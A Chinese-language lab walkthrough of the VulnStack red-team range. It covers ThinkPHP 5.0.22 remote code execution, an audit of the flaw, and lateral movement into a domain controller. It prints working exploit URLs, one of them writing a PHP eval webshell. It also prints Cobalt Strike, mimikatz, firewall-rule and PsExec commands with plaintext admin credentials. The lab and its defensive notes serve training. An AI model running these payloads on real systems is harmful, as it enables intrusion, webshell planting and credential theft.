ATT&CK实战| VulnStack红队(五)
字数 1015 2025-08-18 11:39:30

ThinkPHP 5.0.22 RCE漏洞分析与内网渗透实战

环境准备

靶场环境

  • Win7 (192.168.135.150)
    • 运行phpstudy
    • ThinkPHP 5.0.22框架
  • Win2008 (192.168.138.138) - 域控制器
  • 攻击机 Win10 (192.168.135.143)

外网渗透阶段

信息收集

  1. 访问目标IP: http://192.168.135.150
  2. 目录扫描发现关键文件:
    • robots.txt
    • add.php (后门文件)

漏洞发现与利用

  1. 通过错误页面获取ThinkPHP版本号: 5.0.22
  2. 查找并利用该版本的RCE漏洞

RCE漏洞利用POC:

http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入一句话木马:

http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%27hacker%27]);%20?^%3E%20%3E%20C:\phpStudy\PHPTutorial\WWW\public\system.php

代码审计分析

  1. 漏洞根源在App.php中控制器过滤不严

  2. 漏洞触发流程:

    • URL路由检测函数处理index/think\app/invokefunction
    • parseUrl函数将路径转换为数组
    • 最终执行call_user_func_array("system","whoami")
  3. 官方补丁位置:

    • https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

内网渗透阶段

主机信息收集

  1. 查看ARP信息发现内网138段机器
  2. 确认域环境:
    • DNS服务器: 192.168.138.138
    • 域名: sun.com
    • 域控IP: 192.168.138.138

横向移动

  1. 使用Cobalt Strike (CS)进行内网渗透
  2. 生成Windows exe木马并上传到Win7
  3. 运行mimikatz获取凭证:
    • 获取域管理员密码
    • 提权至SYSTEM权限

域控攻击

  1. 扫描内网445端口:
    portscan 192.168.138.0/24 445 arp 50
    
  2. 创建CS监听器(6666端口)用于不出网环境
  3. 添加防火墙规则允许6666端口:
    netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666
    
  4. 使用PsExec连接域控:
    PsExec64.exe -accepteula \\192.168.138.138 -u sun\Administrator -p dc123.com -d -c C:\phpStudy\PHPTutorial\WWW\public\nei.exe
    

关键点总结

  1. ThinkPHP漏洞利用:

    • 版本识别至关重要
    • 利用URL路由机制实现RCE
    • 通过命令执行写入Webshell
  2. 内网渗透技巧:

    • 使用已控主机作为跳板
    • 不出网环境下的监听器配置
    • 防火墙规则修改技巧
  3. 域渗透方法:

    • mimikatz凭证获取
    • PsExec在域环境中的使用
    • 内网端口扫描技术
  4. 防御建议:

    • 及时更新框架版本
    • 限制内网主机的出网权限
    • 监控异常端口开放行为
    • 加强域管理员密码管理
ThinkPHP 5.0.22 RCE漏洞分析与内网渗透实战 环境准备 靶场环境 Win7 (192.168.135.150) 运行phpstudy ThinkPHP 5.0.22框架 Win2008 (192.168.138.138) - 域控制器 攻击机 Win10 (192.168.135.143) 外网渗透阶段 信息收集 访问目标IP: http://192.168.135.150 目录扫描发现关键文件: robots.txt add.php (后门文件) 漏洞发现与利用 通过错误页面获取ThinkPHP版本号: 5.0.22 查找并利用该版本的RCE漏洞 RCE漏洞利用POC : 写入一句话木马 : 代码审计分析 漏洞根源在 App.php 中控制器过滤不严 漏洞触发流程: URL路由检测函数处理 index/think\app/invokefunction parseUrl 函数将路径转换为数组 最终执行 call_user_func_array("system","whoami") 官方补丁位置: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f 内网渗透阶段 主机信息收集 查看ARP信息发现内网138段机器 确认域环境: DNS服务器: 192.168.138.138 域名: sun.com 域控IP: 192.168.138.138 横向移动 使用Cobalt Strike (CS)进行内网渗透 生成Windows exe木马并上传到Win7 运行mimikatz获取凭证: 获取域管理员密码 提权至SYSTEM权限 域控攻击 扫描内网445端口: 创建CS监听器(6666端口)用于不出网环境 添加防火墙规则允许6666端口: 使用PsExec连接域控: 关键点总结 ThinkPHP漏洞利用 : 版本识别至关重要 利用URL路由机制实现RCE 通过命令执行写入Webshell 内网渗透技巧 : 使用已控主机作为跳板 不出网环境下的监听器配置 防火墙规则修改技巧 域渗透方法 : mimikatz凭证获取 PsExec在域环境中的使用 内网端口扫描技术 防御建议 : 及时更新框架版本 限制内网主机的出网权限 监控异常端口开放行为 加强域管理员密码管理